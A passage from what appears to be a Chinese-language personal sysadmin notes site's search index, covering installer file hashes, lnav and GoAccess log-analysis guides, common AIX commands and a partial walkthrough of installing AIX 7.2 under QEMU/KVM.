46322eaa9b37b0322b90c07981c3dc30617fb697735257ef25d6d570749129ba Jasperserver-7.8.0.zip tags: jasperReports 28bff90c3f2cd4ef38948a700ea3ee829c75bca168c2cb1409da844e7ca294d5 TIB_js-jrs-cp_7.8.0_linux_x86_64.run tags: jasperReports e19e3d39b73f29ee96987c271d75b859c800e37913d11c3b5c855a50634982af TIB_js-jrs-cp_8.0.0_bin.zip tags: jasperReports 6f60dca5b4dd48ce20e7ea0e42902c62082dca89f3695188890224de91f98a52 TIB_js-jrs-cp_8.0.0_macosx_x86_64.zip tags: jasperReports 6a6e5e109a92e9d95924ec21dd0d95606a1675ee2997d77b77013186248151cc TIB_js-jrs-cp_8.0.0_win_x86_64.exe tags: jasperReports 6cee8503a493582923d00caf972f33975afff6550ce79e3b0bc1bb1cc7944792 TIB_js-jrs-cp_8.1.0_bin.zip tags: jasperReports 4c1edac34490c99c14d142acdac432154c94a7226fa718749afaf3e2d3739e30 TIB_js-jrs-cp_8.2.0_bin.zip tags: jasperReports 3659c5e6be23ab49a5a095741fd8111d8246b1622788e44b2af8b2295a384575 ","title":"各式檔案雜湊","type":"worknot"},{"content":"分析 log\ngitHub: https://github.com/tstack/lnav 安裝 # 1 sudo apt install lnav 使用方式 # 查看壓縮的日誌檔案:\n1 lnav -r /var/log/Xorg.0.log.old.gz 從標準輸入讀取\n1 journalctl -f | lnav sql 模式 按下 分號 ; 即可進入\n1 SELECT * FROM all_logs; 查詢做有的 table\n.schema 可以知道所有的 table\n1 SELECT name FROM sqlite_master WHERE type=\u0026#39;table\u0026#39;; 圖表功能 # 直方圖 (Histogram) 視圖 (i 鍵): 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 HIST ❭ Thu Jun 05 02:20:00 192 normal 0 errors 0 warnings 0 marks │ Thu Jun 05 02:25:00 30 normal 0 errors 0 warnings 0 marks │ Thu Jun 05 11:55:00 3,000 normal 53 errors 9 warnings 0 marks │ Thu Jun 05 12:00:00 10 normal 0 errors 0 warnings 0 marks │ Thu Jun 05 12:05:00 17 normal 0 errors 0 warnings 0 marks │ Thu Jun 05 12:10:00 109 normal 0 errors 0 warnings 0 marks │ Thu Jun 05 12:15:00 10 normal 6 errors 0 warnings 0 marks │ Thu Jun 05 12:20:00 190 normal 0 errors 0 warnings 0 marks │ Thu Jun 05 12:25:00 26 normal 0 errors 0 warnings 0 marks │ Thu Jun 05 12:30:00 6 normal 0 errors 0 warnings 0 marks │ Thu Jun 05 12:40:00 6 normal 0 errors 0 warnings 0 marks │ Thu Jun 05 12:45:00 1 normal 0 errors 0 warnings 0 marks │ Thu Jun 05 12:50:00 6 normal 0 errors 0 warnings 0 marks │ Thu Jun 05 12:55:00 30 normal 0 errors 0 warnings 0 marks │ Thu Jun 05 13:00:00 6 normal 0 errors 0 warnings 0 marks │ Thu Jun 05 13:05:00 67 normal 2 errors 2 warnings 0 marks │ Thu Jun 05 13:10:00 6 normal 0 errors 0 warnings 0 marks │ Thu Jun 05 13:15:00 4 normal 4 errors 0 warnings 0 marks │ Thu Jun 05 13:20:00 10 normal 0 errors 0 warnings 0 marks │ Thu Jun 05 13:25:00 30 normal 2 errors 0 warnings 0 marks │ Thu Jun 05 13:30:00 8 normal 2 errors 0 warnings 0 marks │ Thu Jun 05 13:35:00 2 normal 4 errors 0 warnings 0 marks │ Thu Jun 05 13:40:00 55 normal 0 errors 0 warnings 0 marks │ Thu Jun 05 13:50:00 6 normal 0 errors 0 warnings 0 marks │ Thu Jun 05 13:55:00 71 normal 0 errors 0 warnings 0 marks │ 參考資料 # lnav v0.12.0 ","date":"June 5, 2025","externalUrl":null,"permalink":"/worknot/lnav/","section":"Worknots","summary":"分析 log\ngitHub: https://github.com/tstack/lnav 安裝 # 1 sudo apt install lnav 使用方式 # 查看壓縮的日誌檔案:\n","title":"lnav 使用方式","type":"worknot"},{"content":"","date":"June 5, 2025","externalUrl":null,"permalink":"/tags/%E6%97%A5%E8%AA%8C%E5%88%86%E6%9E%90%E5%B7%A5%E5%85%B7/","section":"Tags","summary":"","title":"日誌分析工具","type":"tags"},{"content":"分析 access log\n安裝 # 1 2 3 4 wget -O - https://deb.goaccess.io/gnugpg.key | gpg --dearmor | sudo tee /usr/share/keyrings/goaccess.gpg \u0026gt;/dev/null echo \u0026#34;deb [signed-by=/usr/share/keyrings/goaccess.gpg arch=$(dpkg --print-architecture)] https://deb.goaccess.io/ $(lsb_release -cs) main\u0026#34; | sudo tee /etc/apt/sources.list.d/goaccess.list sudo apt update sudo apt install goaccess 使用方式 # 分析多個檔案產出 html 1 cat w*/localhost_access_log.*.txt | goaccess - --log-format=COMMON -o combined_report.html Terminal中 分析 1 cat w*/localhost_access_log.*.txt | goaccess - --log-format=COMMON 報告解讀 # 如何解讀 GoAccess 報告 # 您好！生成 GoAccess 報告後，下一步就是解讀它所呈現的豐富數據。GoAccess 報告以模組化的方式組織資訊，讓您可以快速掌握網站的流量概況和使用者行為。\n一份 GoAccess 報告通常包含以下主要模組：\n1. 總覽 (Dashboard/Global Statistics) # 這是報告的頂部部分，提供了一組核心指標的總覽，讓您快速了解網站的整體狀況。\nTotal Requests (總請求數)：您的網站或應用程式在日誌期間收到的所有請求總數。這是一個衡量網站流量規模的基本指標。 Valid Requests (有效請求數)：成功處理並返回有效狀態碼（如 2xx, 3xx）的請求數。 Invalid Requests (無效請求數)：由於格式錯誤或其他原因無法解析的請求數。 Generated bandwidth (產生頻寬)：所有請求產生的總數據傳輸量。這個數值可以幫助您評估頻寬使用情況。 Not Found (404s) (未找到頁面)：返回 404 狀態碼的請求數，表示請求的資源不存在。這個數字如果很高，可能表示有損壞的連結、資源被移除或使用者輸入錯誤的網址。 Static Files (靜態檔案)：圖片、CSS、JavaScript 等靜態檔案的請求數。 Log Size (日誌大小)：所分析日誌檔案的總大小。 2. 獨特訪客 (Unique Visitors) # 這個模組顯示了訪問您網站的獨立訪客數量。GoAccess 根據 IP 地址、瀏覽器 User-Agent 等因素來判斷「獨特訪客」。\nHits (點擊)：總請求數。 Visitors (訪客)：獨立訪客的數量。 Percentage (百分比)：該項佔總訪客數的百分比。 Bandwidth (頻寬)：該項訪客產生的頻寬。 Average time on site (平均停留時間)：如果日誌中包含足夠的資訊（通常需要較新的日誌格式或額外配置），GoAccess 也能估算平均停留時間。 解讀時，您可以觀察訪客的變化趨勢，例如特定時間點的訪客高峰或低谷。\n3. 請求的檔案 (Requested Files/URLs) # 這部分列出了被請求最多的頁面或資源，通常按熱門程度排序。\nHits (點擊)：該檔案被請求的次數。 Visitors (訪客)：請求該檔案的獨立訪客數。 Percentage (百分比)：該檔案的請求佔總請求的百分比。 Bandwidth (頻寬)：該檔案傳輸的總頻寬。 Avg. time on site (平均停留時間)：使用者在此頁面上的平均停留時間 (如果數據可用)。 解讀時，您可以：\n識別熱門內容：了解哪些頁面或資源最受歡迎。 發現未預期的請求：檢查是否有不應該被頻繁請求的資源，這可能是惡意掃描或配置錯誤的跡象。 4. 靜態檔案 (Static Files) # 專門列出圖片、CSS、JS、PDF 等靜態資源的請求情況，與上述「請求的檔案」類似，但更聚焦於靜態內容。\n5. 請求的靜態檔案 (Not Found URLs (404s)) # 這個模組專門列出導致 404 錯誤（頁面未找到）的 URL。\nHits (點擊)：該 URL 導致 404 的次數。 Visitors (訪客)：請求該 URL 並收到 404 的獨立訪客數。 Last Visit (最後訪問)：最後一次請求這個不存在 URL 的時間。 解讀時，這是非常重要的模組：\n修復失效連結：如果您的網站內部連結或外部引用指向了不存在的頁面，應盡快修正。 識別惡意掃描：過多的 404 請求可能來自惡意爬蟲或掃描器，嘗試尋找網站漏洞。 清理廢棄內容：如果某些頁面已移除但仍被大量請求，考慮設定 301 重定向。 6. 主機 (Hosts/IP Addresses) # 列出訪問您網站的 IP 地址，並顯示它們的請求數、頻寬等。\nHits (點擊)：該 IP 地址的請求數。 Visitors (訪客)：從該 IP 地址過來的獨立訪客數 (通常是 1)。 Bandwidth (頻寬)：該 IP 地址消耗的頻寬。 Last Request (最後請求)：該 IP 地址的最後一次請求時間。 City/Country (城市/國家)：如果啟用 GeoIP 支援，會顯示訪客的地理位置。 解讀時，您可以：\n識別惡意 IP：如果某個 IP 地址的請求量異常大、產生大量 404 或其他可疑行為，可能是攻擊或過度抓取，您可能需要考慮封鎖它。 分析訪客來源：了解主要訪客來自哪些地區。 7. 作業系統 (Operating Systems) # 顯示訪客使用的作業系統分佈情況。\nHits (點擊)：使用該作業系統的請求數。 Visitors (訪客)：使用該作業系統的獨立訪客數。 Percentage (百分比)：該作業系統的訪客佔總訪客的百分比。 解讀時，可以了解您的目標使用者群體主要使用哪些作業系統，這對網站設計和兼容性測試很有幫助。\n8. 瀏覽器 (Browsers) # 顯示訪客使用的瀏覽器分佈情況。\nHits (點擊)：使用該瀏覽器的請求數。 Visitors (訪客)：使用該瀏覽器的獨立訪客數。 Percentage (百分比)：該瀏覽器的訪客佔總訪客的百分比。 解讀時，可以了解您的主要瀏覽器使用者，有助於進行瀏覽器兼容性測試。\n9. 來源網站 (Referrers) # 顯示引導使用者來到您網站的來源網站 (例如 Google 搜尋、其他網站連結等)。\nHits (點擊)：來自該來源網站的請求數。 Visitors (訪客)：來自該來源網站的獨立訪客數。 解讀時，可以了解您的流量來源，評估行銷活動的效果或發現新的合作機會。\n10. 關鍵字 (Keyphrases) # 如果訪客是透過搜尋引擎來到您的網站，這個模組會嘗試從 Referer 資訊中提取搜尋關鍵字。\n11. HTTP 狀態碼 (HTTP Status Codes) # 顯示不同 HTTP 狀態碼的請求分佈，例如 200 (成功)、302 (重定向)、403 (禁止訪問)、404 (未找到)、500 (伺服器內部錯誤) 等。\n2xx (Success)：請求成功，頁面正常顯示。 3xx (Redirection)：頁面重定向。 4xx (Client Error)：客戶端錯誤，最常見的是 404。 5xx (Server Error)：伺服器錯誤，例如 500 Internal Server Error。 解讀時，這是非常重要的模組：\n監控錯誤：特別關注 4xx 和 5xx 錯誤的數量。高比例的錯誤可能表示網站問題，需要立即處理。 了解行為：分析 3xx 了解重定向的使用情況。 12. HTTP 請求方法 (HTTP Request Methods) # 顯示 GET、POST、HEAD 等不同 HTTP 方法的使用分佈。\n13. 流量高峰時段 (Hourly/Daily/Monthly Distribution) # 這些模組以圖表形式顯示流量在一天中、一週中或一個月中的分佈趨勢，幫助您識別網站流量的高峰時段。\nHits (點擊)：該時間段的請求數。 Visitors (訪客)：該時間段的獨立訪客數。 Bandwidth (頻寬)：該時間段產生的頻寬。 解讀時，可以幫助您：\n安排維護：在流量低谷時段進行系統維護。 最佳化資源：根據流量高峰調整伺服器資源。 規劃行銷活動：在目標使用者最活躍的時段發布內容。 如何有效解讀報告？ # 從上到下掃描：先看總覽，再依序瀏覽每個模組，了解網站的整體健康狀況和流量構成。 關注異常值：特別注意那些佔比高、出現錯誤或突然激增的數字。例如，404 錯誤數量異常增多，或者某個 IP 地址的請求量暴增。 趨勢分析：如果能持續生成日誌報告，將不同時間段的報告進行對比，可以發現流量的變化趨勢，例如使用者成長、熱門內容變化等。 結合業務理解：將日誌數據與您的業務目標結合起來。例如，如果某個產品頁面流量很高但銷售額不高，可能需要優化頁面內容。 深入挖掘：GoAccess 報告可以透過點擊或互動（在終端機模式下）鑽取更詳細的數據。例如，點擊一個錯誤頁面，可以查看是哪些 IP 請求了它。 透過定期查看和解讀 GoAccess 報告，您將能更好地了解您的 Tomcat 應用程式的使用情況，及早發現潛在問題，並做出數據驅動的決策。\n如果您在解讀特定模組時有任何疑問，或想進一步探討某些數據點，歡迎隨時提出！\n參考資料 # goaccess.io ","date":"June 5, 2025","externalUrl":null,"permalink":"/worknot/goaccess/","section":"Worknots","summary":"分析 access log\n安裝 # 1 2 3 4 wget -O - https://deb.goaccess.io/gnugpg.key | gpg --dearmor | sudo tee /usr/share/keyrings/goaccess.gpg \u003e/dev/null echo \"deb [signed-by=/usr/share/keyrings/goaccess.gpg arch=$(dpkg --print-architecture)] https://deb.goaccess.io/ $(lsb_release -cs) main\" | sudo tee /etc/apt/sources.list.d/goaccess.list sudo apt update sudo apt install goaccess 使用方式 # 分析多個檔案產出 html 1 cat w*/localhost_access_log.*.txt | goaccess - --log-format=COMMON -o combined_report.html Terminal中 分析 1 cat w*/localhost_access_log.*.txt | goaccess - --log-format=COMMON 報告解讀 # 如何解讀 GoAccess 報告 # 您好！生成 GoAccess 報告後，下一步就是解讀它所呈現的豐富數據。GoAccess 報告以模組化的方式組織資訊，讓您可以快速掌握網站的流量概況和使用者行為。\n","title":"Goaccess 日誌分析","type":"worknot"},{"content":"","date":"June 1, 2025","externalUrl":null,"permalink":"/tags/aix/","section":"Tags","summary":"","title":"AIX","type":"tags"},{"content":" 帳戶類 # 新增使用者 1 2 3 useradd pollo mkdir -p /home/pollo chown pollo:staff /home/pollo 使用者名稱長度： AIX 的使用者名稱最長只能有 8 個字元。\n預設的主要群組: staff\n硬碟空間 # 檢查目錄分配狀況 1 2 3 4 5 6 7 8 9 10 11 12 # df -P Filesystem 512-blocks Used Available Capacity Mounted on /dev/hd4 524288 87152 437136 17% / /dev/hd2 4980736 4257848 722888 86% /usr /dev/hd9var 524288 70520 453768 14% /var /dev/hd3 262144 2024 260120 1% /tmp /dev/hd1 262144 158168 103976 61% /home /dev/hd11admin 262144 760 261384 1% /admin /proc - - - - /proc /dev/hd10opt 262144 35616 226528 14% /opt /dev/livedump 524288 736 523552 1% /var/adm/ras/livedump /ahafs - - - - /aha 檢查硬碟空間使用狀況 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # lsvg rootvg VOLUME GROUP: rootvg VG IDENTIFIER: 00222eff0000a5000000019725ba2202 VG STATE: active PP SIZE: 128 megabyte(s) VG PERMISSION: read/write TOTAL PPs: 799 (102272 megabytes) MAX LVs: 256 FREE PPs: 756 (96768 megabytes) LVs: 12 USED PPs: 43 (5504 megabytes) OPEN LVs: 11 QUORUM: 2 (Enabled) TOTAL PVs: 1 VG DESCRIPTORS: 2 STALE PVs: 0 STALE PPs: 0 ACTIVE PVs: 1 AUTO ON: yes MAX PPs per VG: 32512 MAX PPs per PV: 1016 MAX PVs: 32 LTG size (Dynamic): 128 kilobyte(s) AUTO SYNC: no HOT SPARE: no BB POLICY: relocatable PV RESTRICTION: none INFINITE RETRY: no DISK BLOCK SIZE: 512 CRITICAL VG: no FS SYNC OPTION: no CRITICAL PVs: no 擴充目錄空間 1 chfs -a size=+10G /dev/hd1 記憶體 # 擴充 swap 到4G 1 2 3 # lsps -a Page Space Physical Volume Volume Group Size %Used Active Auto Type Chksum hd6 hdisk0 rootvg 512MB 1 yes yes lv 0 1 chps -s 32 hd6 1 2 3 # lsps -a Page Space Physical Volume Volume Group Size %Used Active Auto Type Chksum hd6 hdisk0 rootvg 4608MB 0 yes yes lv 0 網路 # 設定 hostname(主機名稱) 1 smitty hostname 操作 # /etc/profile 1 alias ll=\u0026#39;ls -l\u0026#39; ","date":"June 1, 2025","externalUrl":null,"permalink":"/worknot/aix-common/","section":"Worknots","summary":"帳戶類 # 新增使用者 1 2 3 useradd pollo mkdir -p /home/pollo chown pollo:staff /home/pollo 使用者名稱長度： AIX 的使用者名稱最長只能有 8 個字元。\n","title":"AIX常用指令","type":"worknot"},{"content":"最近工作上碰觸到 AIX ，為了驗證自己寫的腳本能在 AIX 上執行，因此我在 KVM 中建立 AIX 的虛擬機\n執行環境 # 硬體環境 # CPU: 11th Gen Intel® Core™ i5-1145G7 × 8 RAM: 32.0 GiB Operating System: Debian GNU/Linux 12 (bookworm) Kernel: Linux 6.1.0-35-amd64 Architecture: x86-64 Hardware Vendor: Dell Inc. Hardware Model: Latitude 5420 Firmware Version: 1.30.0 KVM: QEMU emulator version 7.2.17 (Debian 1:7.2+dfsg-7+deb12u13) 準備文件 # ISO file: aix_7200-04-02-2027_1of2_072020.iso (sha256sum: adab6bbd266525d467b5d3af77aa241e97272a1df754318492c9d23e4881abbd) aix-quem-kvm.xml aix-quem-kvm.xml 文件內容\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 \u0026lt;domain type=\u0026#39;qemu\u0026#39;\u0026gt; \u0026lt;name\u0026gt;aix\u0026lt;/name\u0026gt; \u0026lt;uuid\u0026gt;808a3d10-32f3-433e-a18e-67c25310ddc1\u0026lt;/uuid\u0026gt; \u0026lt;memory unit=\u0026#39;KiB\u0026#39;\u0026gt;8388608\u0026lt;/memory\u0026gt; \u0026lt;currentMemory unit=\u0026#39;KiB\u0026#39;\u0026gt;8388608\u0026lt;/currentMemory\u0026gt; \u0026lt;vcpu placement=\u0026#39;static\u0026#39;\u0026gt;4\u0026lt;/vcpu\u0026gt; \u0026lt;os\u0026gt; \u0026lt;type arch=\u0026#39;ppc64\u0026#39; machine=\u0026#39;pseries-7.2\u0026#39;\u0026gt;hvm\u0026lt;/type\u0026gt; \u0026lt;/os\u0026gt; \u0026lt;cpu mode=\u0026#39;custom\u0026#39; match=\u0026#39;exact\u0026#39; check=\u0026#39;none\u0026#39;\u0026gt; \u0026lt;model fallback=\u0026#39;forbid\u0026#39;\u0026gt;POWER7\u0026lt;/model\u0026gt; \u0026lt;/cpu\u0026gt; \u0026lt;clock offset=\u0026#39;utc\u0026#39;/\u0026gt; \u0026lt;on_poweroff\u0026gt;destroy\u0026lt;/on_poweroff\u0026gt; \u0026lt;on_reboot\u0026gt;restart\u0026lt;/on_reboot\u0026gt; \u0026lt;on_crash\u0026gt;destroy\u0026lt;/on_crash\u0026gt; \u0026lt;devices\u0026gt; \u0026lt;emulator\u0026gt;/usr/bin/qemu-system-ppc64\u0026lt;/emulator\u0026gt; \u0026lt;disk type=\u0026#39;file\u0026#39; device=\u0026#39;cdrom\u0026#39;\u0026gt; \u0026lt;driver name=\u0026#39;qemu\u0026#39; type=\u0026#39;raw\u0026#39;/\u0026gt; \u0026lt;source file=\u0026#39;/var/lib/libvirt/iso/aix_7200-04-02-2027_1of2_072020.iso\u0026#39;/\u0026gt; \u0026lt;target dev=\u0026#39;sda\u0026#39; bus=\u0026#39;scsi\u0026#39;/\u0026gt; \u0026lt;readonly/\u0026gt; \u0026lt;boot order=\u0026#39;2\u0026#39;/\u0026gt; \u0026lt;address type=\u0026#39;drive\u0026#39; controller=\u0026#39;0\u0026#39; bus=\u0026#39;0\u0026#39; target=\u0026#39;0\u0026#39; unit=\u0026#39;0\u0026#39;/\u0026gt; \u0026lt;/disk\u0026gt; \u0026lt;disk type=\u0026#39;file\u0026#39; device=\u0026#39;disk\u0026#39;\u0026gt; \u0026lt;driver name=\u0026#39;qemu\u0026#39; type=\u0026#39;qcow2\u0026#39; discard=\u0026#39;unmap\u0026#39;/\u0026gt; \u0026lt;source file=\u0026#39;/var/lib/libvirt/images/aix_test.qcow2\u0026#39;/\u0026gt; \u0026lt;target dev=\u0026#39;sdb\u0026#39; bus=\u0026#39;scsi\u0026#39;/\u0026gt; \u0026lt;boot order=\u0026#39;1\u0026#39;/\u0026gt; \u0026lt;address type=\u0026#39;drive\u0026#39; controller=\u0026#39;0\u0026#39; bus=\u0026#39;0\u0026#39; target=\u0026#39;0\u0026#39; unit=\u0026#39;1\u0026#39;/\u0026gt; \u0026lt;/disk\u0026gt; \u0026lt;controller type=\u0026#39;usb\u0026#39; index=\u0026#39;0\u0026#39; model=\u0026#39;qemu-xhci\u0026#39; ports=\u0026#39;15\u0026#39;\u0026gt; \u0026lt;address type=\u0026#39;pci\u0026#39; domain=\u0026#39;0x0000\u0026#39; bus=\u0026#39;0x00\u0026#39; slot=\u0026#39;0x03\u0026#39; function=\u0026#39;0x0\u0026#39;/\u0026gt; \u0026lt;/controller\u0026gt; \u0026lt;controller type=\u0026#39;scsi\u0026#39; index=\u0026#39;0\u0026#39; model=\u0026#39;ibmvscsi\u0026#39;\u0026gt; \u0026lt;address type=\u0026#39;spapr-vio\u0026#39; reg=\u0026#39;0x00002000\u0026#39;/\u0026gt; \u0026lt;/controller\u0026gt; \u0026lt;controller type=\u0026#39;pci\u0026#39; index=\u0026#39;0\u0026#39; model=\u0026#39;pci-root\u0026#39;\u0026gt; \u0026lt;model name=\u0026#39;spapr-pci-host-bridge\u0026#39;/\u0026gt; \u0026lt;target index=\u0026#39;0\u0026#39;/\u0026gt; \u0026lt;/controller\u0026gt; \u0026lt;controller type=\u0026#39;virtio-serial\u0026#39; index=\u0026#39;0\u0026#39;\u0026gt; \u0026lt;address type=\u0026#39;pci\u0026#39; domain=\u0026#39;0x0000\u0026#39; bus=\u0026#39;0x00\u0026#39; slot=\u0026#39;0x05\u0026#39; function=\u0026#39;0x0\u0026#39;/\u0026gt; \u0026lt;/controller\u0026gt; \u0026lt;interface type=\u0026#39;network\u0026#39;\u0026gt; \u0026lt;mac address=\u0026#39;52:54:00:10:40:29\u0026#39;/\u0026gt; \u0026lt;source network=\u0026#39;default\u0026#39;/\u0026gt; \u0026lt;model type=\u0026#39;spapr-vlan\u0026#39;/\u0026gt; \u0026lt;address type=\u0026#39;spapr-vio\u0026#39; reg=\u0026#39;0x00001000\u0026#39;/\u0026gt; \u0026lt;/interface\u0026gt; \u0026lt;serial type=\u0026#39;pty\u0026#39;\u0026gt; \u0026lt;target type=\u0026#39;spapr-vio-serial\u0026#39; port=\u0026#39;0\u0026#39;\u0026gt; \u0026lt;model name=\u0026#39;spapr-vty\u0026#39;/\u0026gt; \u0026lt;/target\u0026gt; \u0026lt;address type=\u0026#39;spapr-vio\u0026#39; reg=\u0026#39;0x30000000\u0026#39;/\u0026gt; \u0026lt;/serial\u0026gt; \u0026lt;console type=\u0026#39;pty\u0026#39;\u0026gt; \u0026lt;target type=\u0026#39;serial\u0026#39; port=\u0026#39;0\u0026#39;/\u0026gt; \u0026lt;address type=\u0026#39;spapr-vio\u0026#39; reg=\u0026#39;0x30000000\u0026#39;/\u0026gt; \u0026lt;/console\u0026gt; \u0026lt;input type=\u0026#39;keyboard\u0026#39; bus=\u0026#39;usb\u0026#39;\u0026gt; \u0026lt;address type=\u0026#39;usb\u0026#39; bus=\u0026#39;0\u0026#39; port=\u0026#39;2\u0026#39;/\u0026gt; \u0026lt;/input\u0026gt; \u0026lt;input type=\u0026#39;mouse\u0026#39; bus=\u0026#39;usb\u0026#39;\u0026gt; \u0026lt;address type=\u0026#39;usb\u0026#39; bus=\u0026#39;0\u0026#39; port=\u0026#39;1\u0026#39;/\u0026gt; \u0026lt;/input\u0026gt; \u0026lt;audio id=\u0026#39;1\u0026#39; type=\u0026#39;none\u0026#39;/\u0026gt; \u0026lt;memballoon model=\u0026#39;virtio\u0026#39;\u0026gt; \u0026lt;address type=\u0026#39;pci\u0026#39; domain=\u0026#39;0x0000\u0026#39; bus=\u0026#39;0x00\u0026#39; slot=\u0026#39;0x07\u0026#39; function=\u0026#39;0x0\u0026#39;/\u0026gt; \u0026lt;/memballoon\u0026gt; \u0026lt;panic model=\u0026#39;pseries\u0026#39;/\u0026gt; \u0026lt;/devices\u0026gt; \u0026lt;/domain\u0026gt; 安裝 AIX # 開始安裝 AIX # 將 qeum 定義檔匯入 quem-kvm，指令如下\n1 virsh define AIX_qemu_install.xml 啟動虛擬機進入硬體檢查畫面\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 Populating /vdevice methods Populating /vdevice/l-lan@1000 Populating /vdevice/v-scsi@2000 SCSI: Looking for devices 8000000000000000 CD-ROM : \u0026#34;QEMU QEMU CD-ROM 2.5+\u0026#34; 8001000000000000 DISK : \u0026#34;QEMU QEMU HARDDISK 2.5+\u0026#34; Populating /vdevice/vty@30000000 Populating /vdevice/nvram@71000000 Populating /pci@800000020000000 00 1800 (D) : 1b36 000d serial bus [ usb-xhci ] 00 2800 (D) : 1af4 1003 virtio [ serial ] 00 3800 (D) : 1af4 1002 legacy-device* No NVRAM common partition, re-initializing... Scanning USB XHCI: Initializing USB mouse USB Keyboard Using default console: /vdevice/vty@30000000 Welcome to Open Firmware Copyright (c) 2004, 2017 IBM Corporation All rights reserved. This program and the accompanying materials are made available under the terms of the BSD License available at http://www.opensource.org/licenses/bsd-license.php Trying to load: from: /vdevice/v-scsi@2000/disk@8001000000000000 ... E3404: Not a bootable device! Trying to load: from: /vdevice/v-scsi@2000/disk@8000000000000000 ... Successfully loaded ---\u0026gt; qemu,pseries detected \u0026lt;--- ---\u0026gt; Press \u0026#39;6\u0026#39; to enter Single User Mode \u0026lt;--- get-property for ibm,hypertas-functions on zero phandle 硬體檢查通過會進入歡迎畫面，且會立刻出現 Star 。如果沒有出現 Star 可能是硬體檢查最後有問題，之前我在這邊等了約6小時都一樣。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ------------------------------------------------------------------------------- Welcome to AIX. boot image timestamp: 16:47:29 06/08/2020 processor count: 4; memory size: 16384MB; kernel size: 45422126 boot device: /vdevice/v-scsi@2000/disk@8000000000000000:\\ppc\\chrp\\bootfile.exe AIX processing splpar characteristic: MaxEntCap processing splpar characteristic: DesMem processing splpar characteristic: DesProcs processing splpar characteristic: MaxPlatProcs AKVM: hcall-multi-tce detected but overridden, allow with \u0026#34;multce\u0026#34; boot argument ------------------------------------------------------------------------------- Star 根據提示輸入1後按下 Enter\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ******* Please define the System Console. ******* Type a 1 and press Enter to use this terminal as the system console. Pour definir ce terminal comme console systeme, appuyez sur 1 puis sur Entree. Taste 1 und anschliessend die Eingabetaste druecken, um diese Datenstation als Systemkonsole zu verwenden. Premere il tasto 1 ed Invio per usare questo terminal come console. Escriba 1 y pulse Intro para utilizar esta terminal como consola del sistema. Escriviu 1 1 i premeu Intro per utilitzar aquest terminal com a consola del sistema. Digite um 1 e pressione Enter para utilizar este terminal como console do sistema. 0c31 輸入1後按下 Enter進入安裝\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 \u0026gt;\u0026gt;\u0026gt; 1 Type 1 and press Enter to have English during install. 2 Entreu 2 i premeu Intro per veure la instal�laci� en catal�. 3 Entrez 3 pour effectuer l\u0026#39;installation en fran�ais. 4 F�r Installation in deutscher Sprache 4 eingeben und die Eingabetaste dr�cken. 5 Immettere 5 e premere Invio per l\u0026#39;installazione in Italiano. 6 Digite 6 e pressione Enter para usar Portugu�s na instala��o. 7 Escriba 7 y pulse Intro para la instalaci�n en espa�ol. 88 Help ? \u0026gt;\u0026gt;\u0026gt; Choice [1]: 1 這邊會先安裝 ssh client 與 openSSH Server 所以要進入 [ Change/Show Installation Settings and Install ] ， 在此輸入2後按下 Enter\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Welcome to Base Operating System Installation and Maintenance Type the number of your choice and press Enter. Choice is indicated by \u0026gt;\u0026gt;\u0026gt;. \u0026gt;\u0026gt;\u0026gt; 1 Start Install Now with Default Settings 2 Change/Show Installation Settings and Install 3 Start Maintenance Mode for System Recovery 4 Make Additional Disks Available 5 Select Storage Adapters 88 Help ? 99 Previous Menu \u0026gt;\u0026gt;\u0026gt; Choice [1]: 2 進入 Installation and Settings 畫面後，選擇 [ More Options (Software install options) ] ，輸入 4 並按下 Enter\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Installation and Settings Either type 0 and press Enter to install with current settings, or type the number of the setting you want to change and press Enter. 1 System Settings: Method of Installation.............New and Complete Overwrite Disk Where You Want to Install.....hdisk0 2 Primary Language Environment Settings (AFTER Install): Cultural Convention................English (United States) Language ..........................English (United States) Keyboard ..........................English (United States) Keyboard Type......................Default 3 Security Model.......................Default 4 More Options (Software install options) 5 Select Edition.......................standard \u0026gt;\u0026gt;\u0026gt; 0 Install with the current settings listed above. +----------------------------------------------------- 88 Help ? | WARNING: Base Operating System Installation will 99 Previous Menu | destroy or impair recovery of ALL data on the | destination disk hdisk0. \u0026gt;\u0026gt;\u0026gt; Choice [0]: 4 進入 Install Option 畫面後，會發現 [ OpenSSH Client Software ] [ OpenSSH Server Software ] 是 No ， 這邊只需要分別輸入 3 -\u0026gt; Enter 與 4 -\u0026gt; Enter 就可以改變這裡個軟體選項值\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Install Options 1. Graphics Software................................................ Yes 2. System Management Client Software................................ Yes 3. OpenSSH Client Software.......................................... No 4. OpenSSH Server Software.......................................... No 5. Enable System Backups to install any system...................... Yes (Installs all devices) \u0026gt;\u0026gt;\u0026gt; 6. Install More Software 0 Install with the current settings listed above. 88 Help ? 99 Previous Menu \u0026gt;\u0026gt;\u0026gt; Choice [6]: 3 以下是 [ OpenSSH Client Software ] [ OpenSSH Server Software ] 兩個選項選擇成 Yes 結果，接下來輸入 99 回到上一層\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Install Options 1. Graphics Software................................................ Yes 2. System Management Client Software................................ Yes 3. OpenSSH Client Software.......................................... Yes 4. OpenSSH Server Software.......................................... Yes 5. Enable System Backups to install any system...................... Yes (Installs all devices) \u0026gt;\u0026gt;\u0026gt; 6. Install More Software 0 Install with the current settings listed above. 88 Help ? 99 Previous Menu \u0026gt;\u0026gt;\u0026gt; Choice [6]: 4 輸入 1 執行安裝\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Welcome to Base Operating System Installation and Maintenance Type the number of your 